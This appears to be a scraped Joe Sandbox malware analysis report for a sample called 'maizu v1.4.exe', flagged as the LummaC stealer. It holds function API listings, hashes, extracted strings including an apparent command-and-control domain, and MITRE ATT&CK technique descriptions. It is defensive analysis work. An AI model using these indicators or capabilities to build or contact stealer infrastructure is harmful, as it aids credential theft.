SysAllocString.OLEAUT32(?), ref: 0043FEC5
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,?,?,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0043FF03
SysAllocString.OLEAUT32(?), ref: 0043FF65
SysAllocString.OLEAUT32(?), ref: 00440015
VariantInit.OLEAUT32(6D3F6B39), ref: 0044007E
VariantClear.OLEAUT32(?), ref: 00440123
SysFreeString.OLEAUT32(?), ref: 00440145
SysFreeString.OLEAUT32(?), ref: 0044014E
SysFreeString.OLEAUT32(?), ref: 00440181
GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 004401BB

Strings

9k?m, xrefs: 0043FFBD
q7bI, xrefs: 0043FF7E
bS3U, xrefs: 0043FFAF
hKpM, xrefs: 0043FF85
l3u5, xrefs: 0043FF77
"_kQ, xrefs: 0043FFA8
1[!], xrefs: 0043FFA1

Memory Dump Source

Source File: 00000001.00000002.2310893632.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Similarity

API ID: String$AllocFree$Variant$BlanketClearCreateInformationInitInstanceProxyVolume
String ID: "_kQ$1[!]$9k?m$bS3U$hKpM$l3u5$q7bI
API String ID: 2573436264-1023481837
Opcode ID: 3b03e2147dce430a0f8925663908d52cba351bca58096ea1b67891df1644cd7a
Instruction ID: abc33ae36a095545e2bb41dcd0e979c6fcd6de482cd85a6a90bd509a0ecf98e9
Opcode Fuzzy Hash: 3b03e2147dce430a0f8925663908d52cba351bca58096ea1b67891df1644cd7a
Instruction Fuzzy Hash: 1FE16974100B01EFE3208F15C985B16BBF1FF4AB02F148969E59A8BAA1C775F855CF98

Function 0040D390 Relevance: 6.2, APIs: 4, Instructions: 154
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetInputState.USER32 ref: 0040D3A1
GetCurrentThreadId.KERNEL32 ref: 0040D3B6
GetCurrentProcessId.KERNEL32 ref: 0040D3BC
ExitProcess.KERNEL32 ref: 0040D580

Memory Dump Source

Source File: 00000001.00000002.2310893632.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Similarity

API ID: CurrentProcess$ExitInputStateThread
String ID:
API String ID: 1029096631-0
Opcode ID: 91b0cbc643e4b4ebeb18023be9ae76da3501924d19314061550aa6d351ab72eb
Instruction ID: 7fe0d86d4b211a0ed1928a564c0dc3b48ff1420feaec6627cd99d8fdc632b15c
Opcode Fuzzy Hash: 91b0cbc643e4b4ebeb18023be9ae76da3501924d19314061550aa6d351ab72eb
Instruction Fuzzy Hash: CE41277480C240ABD301BFA9D544A1EFBF5EF56708F148D2EE5C4A7392D23AD8148B6B

Function 004464F0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 14
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL(00449A1D,005C003F,00000006,?,?,00000018,,?,?), ref: 0044651E

Strings

, xrefs: 004464F0, 0044650C, 0044651A

Memory Dump Source

Source File: 00000001.00000002.2310893632.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-3019521637
Opcode ID: b66ff63dfd389af1bc8afcc0025f999e8b2b47508af02e865142dda64173a8e3
Instruction ID: fb6f357373f259be8b0e83fffc5d2a3912a28e0da7d2036ce94b71e982b3a7e9
Opcode Fuzzy Hash: b66ff63dfd389af1bc8afcc0025f999e8b2b47508af02e865142dda64173a8e3
Instruction Fuzzy Hash: 76E0FE75908316AB9A09CF45C14444EFBE5BFC4714F11CC8DA4D867210D3B0AD46DF82

Function 004126B3 Relevance: 12.6, APIs: 1, Strings: 6, Instructions: 301
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

wCA, xrefs: 00412B66
GD, xrefs: 004126C0
656FF790B7E2ED7B9C28D43A99B7ADB5, xrefs: 004126B3
tBA, xrefs: 00412AE7
fch%, xrefs: 00412788
frizzettei.sbs, xrefs: 00412ABC

Memory Dump Source

Source File: 00000001.00000002.2310893632.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Similarity

API ID:
String ID: 656FF790B7E2ED7B9C28D43A99B7ADB5$GD$fch%$frizzettei.sbs$tBA$wCA
API String ID: 0-535453298
Opcode ID: 18b95ce0547799c8335b9632188030b7790c54437027a763add69c76ec3f01d7
Instruction ID: d035267a3a9853f3dfc0ceb4180196f553011948bb1c76c1f0fbabd1dc92564a
Opcode Fuzzy Hash: 18b95ce0547799c8335b9632188030b7790c54437027a763add69c76ec3f01d7
Instruction Fuzzy Hash: F6B158B04093C1CBE7318F149554BEFBBE0BB8A348F140A6EE4C99B242D7799545CB66

Function 00446709 Relevance: 3.0, APIs: 2, Instructions: 22
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetForegroundWindow.USER32 ref: 00446709
GetForegroundWindow.USER32 ref: 00446720

Memory Dump Source

Source File: 00000001.00000002.2310893632.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: 61e954c21ccda2bc507880c9326b32b816de450e3ecc2bacd25776dc5b00f227
Instruction ID: 906c729b96ff40db5e6bb0cb1f2bfce635365c04e2c32f2be8addff1d813b1a5
Opcode Fuzzy Hash: 61e954c21ccda2bc507880c9326b32b816de450e3ecc2bacd25776dc5b00f227
Instruction Fuzzy Hash: 4ED05EACA12240A7EA04FB37FC1E85B3615E79221E7464838E40686312D636E851C65B

Function 00445C4A Relevance: 1.6, APIs: 1, Instructions: 71
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32(33A03193,00000000,00000800), ref: 00445CD7

Memory Dump Source

Source File: 00000001.00000002.2310893632.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 72bf814f0518dc5835282787a3600c9ebb27de0fde571f4b41e5eadb2c516951
Instruction ID: 1ed73a75136f75e105c7bb7e785e3dfd24c55cc57a7816ce4e470644bd5d90c0
Opcode Fuzzy Hash: 72bf814f0518dc5835282787a3600c9ebb27de0fde571f4b41e5eadb2c516951
Instruction Fuzzy Hash: 7A218C7520C380AFE745CF29E99061BBBE1ABC9205F58C82DF5C987352C238D905DB6A

Function 00443A20 Relevance: 1.5, APIs: 1, Instructions: 36
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 00443A83

Memory Dump Source

Source File: 00000001.00000002.2310893632.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: bbe3c0725eeb12269a4fd9373789c992c7f1f0aafca5c16579677f982f5a7c14
Instruction ID: 208812190be25b9880a5f29952ef9a922b1c788544e9e186d94aa430ee1b0748
Opcode Fuzzy Hash: bbe3c0725eeb12269a4fd9373789c992c7f1f0aafca5c16579677f982f5a7c14
Instruction Fuzzy Hash: 67F0373410C2409BE301EF19D954A0EBBF4EF9A701F14886CE4C89B2A2C335E814CBAB

Function 00443AA0 Relevance: 1.5, APIs: 1, Instructions: 36
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(?,00000000), ref: 00443B03

Memory Dump Source

Source File: 00000001.00000002.2310893632.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 5c61f5cf0f16499e49ba7738a8fe8bc67c56cab5a0bd252042df475734ab51e5
Instruction ID: 302f255876a8acf85142c7b8a32416b12f9909014dbe577f3d47d642ddc48781
Opcode Fuzzy Hash: 5c61f5cf0f16499e49ba7738a8fe8bc67c56cab5a0bd252042df475734ab51e5
Instruction Fuzzy Hash: 84F04F3450C2509BD701AF18E945A1EFBF5EF56706F454C68F4C4AB261C339DD60CB9A

Function 00412691 Relevance: 1.5, APIs: 1, Instructions: 12
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 004126A3

Memory Dump Source

Source File: 00000001.00000002.2310893632.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: e9df4fc844a5e07cbbefe421b72ccffe98448086396df1b717bb8be3043df058
Instruction ID: 4c0f3c5f42d7220d9aedfcf1f234b57b5b7164098ac87d9a597ab882ad0731d6
Opcode Fuzzy Hash: e9df4fc844a5e07cbbefe421b72ccffe98448086396df1b717bb8be3043df058
Instruction Fuzzy Hash: CAD092383C8300B6F6700B18AC07F443510A302F32F300360F3647C0E689E0B1018A1D

Function 00412670 Relevance: 1.3, APIs: 1, Instructions: 11
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32(00000000), ref: 00412681

Memory Dump Source

Source File: 00000001.00000002.2310893632.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: c4feaf63b10f42a3045f7c724361a4ce193798e6ca91a7440d318b448d146723
Instruction ID: 0784f48afee8c68dd4e30585e0345d15e948a6c307a9b784e72b9a1c24a16a3d
Opcode Fuzzy Hash: c4feaf63b10f42a3045f7c724361a4ce193798e6ca91a7440d318b448d146723
Instruction Fuzzy Hash: 66C08C60024208A7F310272EAC0AF42396CE343772F000334B9A0400E36E116414C5BA

Non-executed Functions

Function 0042D9A0 Relevance: 14.4, APIs: 1, Strings: 7, Instructions: 396COMMON

Download Yara Rule

Strings

US, xrefs: 0042E1C3
RB, xrefs: 0042E64C
WJL{, xrefs: 0042E5FA, 0042E604, 0042E464, 0042E46D, 0042E60D, 0042E62F
sLlS, xrefs: 0042E5D6
sB, xrefs: 0042E66D
9u9s, xrefs: 0042E183
Dtgr, xrefs: 0042E5C6

Memory Dump Source

Source File: 00000001.00000002.2310893632.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Similarity

API ID:
String ID: 9u9s$Dtgr$RB$WJL{$sLlS$sB$US
API String ID: 0-3351958040
Opcode ID: 276c1ab203addd20c735120bb759d55bade8af3356c5969ab96734506833bd0c
Instruction ID: cba3938b4c7428f4d552087925c859a69b1ab55a6ae02eac8884ff4f61b23fd4
Opcode Fuzzy Hash: 276c1ab203addd20c735120bb759d55bade8af3356c5969ab96734506833bd0c
Instruction Fuzzy Hash: B1F167B4508340DFD710AF66E89061BBBF0AF86345F54892EF5848B362D3B9C844CF9A

Function 004396A0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 004396B0
GetWindowLongW.USER32 ref: 004396D5
GetClipboardData.USER32 ref: 004396E5
GlobalLock.KERNEL32 ref: 004396FE
GlobalUnlock.KERNEL32 ref: 004397EC
CloseClipboard.USER32 ref: 004397F5

Strings

=, xrefs: 00439773

Memory Dump Source

Source File: 00000001.00000002.2310893632.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockLongOpenUnlockWindow
String ID: =
API String ID: 2832541153-2322244508
Opcode ID: 78c8dc26131ed5dac9393a6ada90e30b4fdfd99cd617a6bba74dde0b2099fdf1
Instruction ID: 322da3c77394848e095178107a49c73a551c132a77b07a9a0bf135f40f579efd
Opcode Fuzzy Hash: 78c8dc26131ed5dac9393a6ada90e30b4fdfd99cd617a6bba74dde0b2099fdf1
Instruction Fuzzy Hash: 4941537551C381CED311AF7C944831EBFE09B96224F044E6DF4E5862D1D3788945C797

Function 004365E8 Relevance: 19.3, APIs: 2, Strings: 9, Instructions: 78COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 004365F4
VariantInit.OLEAUT32 ref: 00436606

Strings

W, xrefs: 0043663F
Q, xrefs: 00436627
], xrefs: 00436657
_, xrefs: 0043665F
O, xrefs: 0043661F
U, xrefs: 00436637
S, xrefs: 0043662F
Y, xrefs: 00436647
[, xrefs: 0043664F

Memory Dump Source

Source File: 00000001.00000002.2310893632.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Similarity

API ID: Variant$ClearInit
String ID: O$Q$S$U$W$Y$[$]$_
API String ID: 2610073882-3709029455
Opcode ID: bf4df09837cc0999f8912889e458b68c9d6c2582af1171711b600cbe8bd283c9
Instruction ID: 617472aee6f7647b6791f64ddb482ed0964e05965680e50c34387cf75e2fd40f
Opcode Fuzzy Hash: bf4df09837cc0999f8912889e458b68c9d6c2582af1171711b600cbe8bd283c9
Instruction Fuzzy Hash: 8041E970008B81CED721DF38C894756BFE0AB56314F08869DD8EA4F3D6C775A549CB66

Function 004360C9 Relevance: 19.3, APIs: 2, Strings: 9, Instructions: 73COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 004360DA
VariantInit.OLEAUT32 ref: 004360EC

Strings

U, xrefs: 0043611D
O, xrefs: 00436105
S, xrefs: 00436115
Q, xrefs: 0043610D
W, xrefs: 00436125
], xrefs: 0043613D
[, xrefs: 00436135
_, xrefs: 00436145
Y, xrefs: 0043612D

Memory Dump Source

Source File: 00000001.00000002.2310893632.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Similarity

API ID: Variant$ClearInit
String ID: O$Q$S$U$W$Y$[$]$_
API String ID: 2610073882-3709029455
Opcode ID: f7635afb3bd54eb494f8a0a77bb65c5c2b8a5d4eaa981fde32eb2f6ea89c106d
Instruction ID: 3870ab933f990c28619918e5480d85312f3f30b48fe24ca90a854e860725b9d7
Opcode Fuzzy Hash: f7635afb3bd54eb494f8a0a77bb65c5c2b8a5d4eaa981fde32eb2f6ea89c106d
Instruction Fuzzy Hash: 9C41B474009BC1CEE725DF38C898B46BFA06B56314F088A9DD8E94F296C375A515CB62

Function 00438B2F Relevance: 12.3, APIs: 1, Strings: 6, Instructions: 95COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 00438B74

Strings

p, xrefs: 00438BC6
}, xrefs: 00438BDE
d, xrefs: 00438B8E
i, xrefs: 00438B96
t, xrefs: 00438BD6
|, xrefs: 00438BB6

Memory Dump Source

Source File: 00000001.00000002.2310893632.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Similarity

API ID: InitVariant
String ID: d$i$p$t$|$}
API String ID: 1927566239-2434808017
Opcode ID: 554a65b0e6783a8a587c5d9d5a1a59090ef91d405a8573379fac870fe920457a
Instruction ID: 0b84109ddb38ce271a869d6b766c0ab2b1e4120020a45687ac22dc4c2f8272eb
Opcode Fuzzy Hash: 554a65b0e6783a8a587c5d9d5a1a59090ef91d405a8573379fac870fe920457a
Instruction Fuzzy Hash: FE411870508781CED725CF28C494716BFE0AB66324F08869DD8EA4F397C775E515CBA2

Function 00438417 Relevance: 12.3, APIs: 1, Strings: 6, Instructions: 82COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 00438444

Strings

i, xrefs: 00438466
d, xrefs: 0043845E
|, xrefs: 00438486
}, xrefs: 004384AE
t, xrefs: 004384A6
p, xrefs: 00438496

Memory Dump Source

Source File: 00000001.00000002.2310893632.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Similarity

API ID: InitVariant
String ID: d$i$p$t$|$}
API String ID: 1927566239-2434808017
Opcode ID: 752ed3a4123867835ced7968c358781d81873fa4b79cdbc7d9d63c2e707b67c3
Instruction ID: 90d411813917745457a09f1c6fb0e7b6a5668ded3b473b778bf00fa4b3dd6296
Opcode Fuzzy Hash: 752ed3a4123867835ced7968c358781d81873fa4b79cdbc7d9d63c2e707b67c3
Instruction Fuzzy Hash: 9541D760108781CED721DF2CC484716BFE06B66214F088A8DD8EA4F7D7C375D519CB62

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report maizu v1.4.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_MSBuild.exe_47f04a05abbe4c2ca5f29d3456dbda14113214_2f54229f_fa95258a-bd68-4603-8fb9-ca8424109259\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_MSBuild.exe_c365489cdde0dec8a471982681e3951dad25868_2f54229f_7f47af1e-2856-4a8f-9b0f-521cc1b701db\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_MSBuild.exe_c365489cdde0dec8a471982681e3951dad25868_2f54229f_d92b5131-cb13-41e5-890b-d0dd2d67f1f5\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7591.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER791D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER795C.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7D90.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7E3D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7E5D.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8030.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER811B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER813C.tmp.xml

C:\Windows\appcompat\Programs\Amcache.hve

Static File Info

Windows Analysis Report
maizu v1.4.exe

Function 00BC1FE0 Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 433
memoryCOMMON

Function 00BDA39E Relevance: .0, Instructions: 22
COMMONLIBRARYCODE

Function 00BD5C98 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Function 00BD8B7C Relevance: 4.7, APIs: 3, Instructions: 202
COMMON

Function 00BD0C0A Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Function 00BDA0F8 Relevance: 3.2, APIs: 2, Instructions: 177
COMMON

Function 00BD60B6 Relevance: 3.0, APIs: 2, Instructions: 34
COMMONLIBRARYCODE

Function 00BD9CFA Relevance: 1.6, APIs: 1, Instructions: 147
COMMON